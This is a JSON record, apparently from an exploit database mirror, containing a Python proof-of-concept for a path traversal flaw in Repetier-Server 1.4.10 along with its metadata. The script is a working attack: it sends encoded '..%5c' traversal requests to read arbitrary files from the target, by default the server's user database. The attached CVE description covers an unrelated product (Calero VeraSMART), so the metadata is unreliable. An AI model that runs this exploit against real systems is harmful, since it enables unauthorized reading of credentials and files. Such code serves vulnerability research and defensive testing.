{"exploit":{"id":"EDB-52540","name":"Repetier-Server 1.4.10 - Path Traversal","description":"Repetier-Server 1.4.10 - Path Traversal","cves":["CVE-2026-26335"],"author":"banyamer","published":"2026-04-30","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52540","path":"exploits/multiple/webapps/52540.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52540.py","vulnerabilities":[{"id":"CVE-2026-26335","state":"PUBLISHED","title":"Calero VeraSMART < 2022 R1 Static IIS Machine Keys Enable ViewState RCE","titleSource":"CVE Program","description":"Calero VeraSMART versions prior to 2022 R1 use static ASP.NET/IIS machineKey values configured for the VeraSMART web application and stored in C:\\\\Program Files (x86)\\\\Veramark\\\\VeraSMART\\\\WebRoot\\\\web.config. An attacker who obtains these keys can craft a valid ASP.NET ViewState payload that passes integrity validation and is accepted by the application, resulting in server-side deserialization and remote code execution in the context of the IIS application.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-26335","cvss":{"version":"4.0","baseScore":9.3,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-26335"},"updatedAt":"2026-07-14T15:54:07.998Z","retrievedAt":"2026-11-25T16:15:50.696Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52540.png?v=2","url":"https://exploitbin.com/exploits/EDB-52540","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52540/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52540/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title:    Repetier-Server 1.4.10 - Path Traversal\n# Exploit Author:   Mohammed Idrees Banyamer\n# Vendor Homepage:  https://www.repetier.com/\n# Version:          <= 1.4.10\n# Tested on:        Windows 10 / Windows Server 2019 (Repetier-Server default install)\n# CVE:              CVE-2026-26335\n# Advisory:         https://cybir.com/2023/cve/poc-repetier-server-140/ (related research)\n# CVSS:             9.8 (Critical) - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\nimport requests\nimport argparse\nimport sys\nfrom urllib.parse import urljoin\n\n\ndef generate_traversal(depth: int = 15) -> str:\n    return \"..%5c\" * depth\n\n\ndef attempt_read(target_url: str, file_path: str, traversal_depth: int = 15, timeout: int = 10) -> bool:\n    traversal = generate_traversal(traversal_depth)\n\n    payloads = [\n        f\"views{traversal}{file_path}/base/connectionLost.php\",\n        f\"base/connectionLost.php?file={traversal}{file_path}\",\n    ]\n\n    print(f\"[*] Targeting: {target_url}\")\n    print(f\"[*] Attempting to read: {file_path}\")\n    print(f\"[*] Traversal depth: {traversal_depth}\")\n\n    for payload in payloads:\n        exploit_url = urljoin(target_url.rstrip(\"/\") + \"/\", payload)\n\n        try:\n            print(f\"  → Trying: {exploit_url}\")\n            r = requests.get(exploit_url, timeout=timeout, verify=False)\n\n            if r.status_code == 200 and len(r.content) > 60:\n                sample = r.text[:500].replace(\"\\n\", \" \").strip()\n                print(f\"[+] LIKELY SUCCESS (status {r.status_code}, {len(r.content)} bytes)\")\n                print(f\"    Preview:\\n    {sample}...\")\n                return True\n            else:\n                print(f\"  → Failed (status {r.status_code}, size {len(r.content)})\")\n\n        except requests.RequestException as e:\n            print(f\"  → Error: {e}\")\n\n    return False\n\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description=\"CVE-2026-26335 PoC - Repetier-Server Path Traversal / LFI\"\n    )\n    parser.add_argument(\"target\", help=\"Target base URL (e.g. http://192.168.1.100:3344/)\")\n    parser.add_argument(\"--file\", default=\"ProgramData\\\\Repetier-Server\\\\database\\\\user.sql\",\n                        help=\"File path to read (use Windows \\\\ separator)\")\n    parser.add_argument(\"--depth\", type=int, default=15, help=\"Traversal depth\")\n    parser.add_argument(\"--test\", action=\"store_true\", help=\"Quick test with Windows\\\\win.ini\")\n\n    args = parser.parse_args()\n\n    if args.test:\n        args.file = \"Windows\\\\win.ini\"\n        print(\"[i] Running test mode → targeting Windows\\\\win.ini\")\n\n    file_path = args.file.replace(\"\\\\\", \"%5c\")\n\n    print(\"=\" * 70)\n    print(\"CVE-2026-26335 Exploit PoC - Repetier-Server <=1.4.10 Path Traversal\")\n    print(\"USE ONLY ON SYSTEMS YOU OWN OR HAVE EXPLICIT PERMISSION TO TEST!\")\n    print(\"=\" * 70, \"\\n\")\n\n    success = attempt_read(args.target, file_path, args.depth)\n\n    if not success:\n        print(\"\\n[!] Exploitation attempt failed.\")\n        print(\"Suggestions:\")\n        print(\"  • Increase --depth (try 18–30)\")\n        print(\"  • Verify target is running Repetier-Server <=1.4.10\")\n        print(\"  • Try alternative interesting files:\")\n        print(\"      - ProgramData%5cRepetier-Server%5cconfig.xml\")\n        print(\"      - Windows%5csystem32%5cdrivers%5cetc%5chosts\")\n\n\nif __name__ == \"__main__\":\n    main()","sha256":"a2cd599b7f522bf2c10636e8589deda55a0559da03679bcfca09b2bb25b094a5","bytes":3349,"fetchedAt":"2026-11-26T11:17:26.216Z","encoding":"utf-8 (display only; download retains original bytes)"}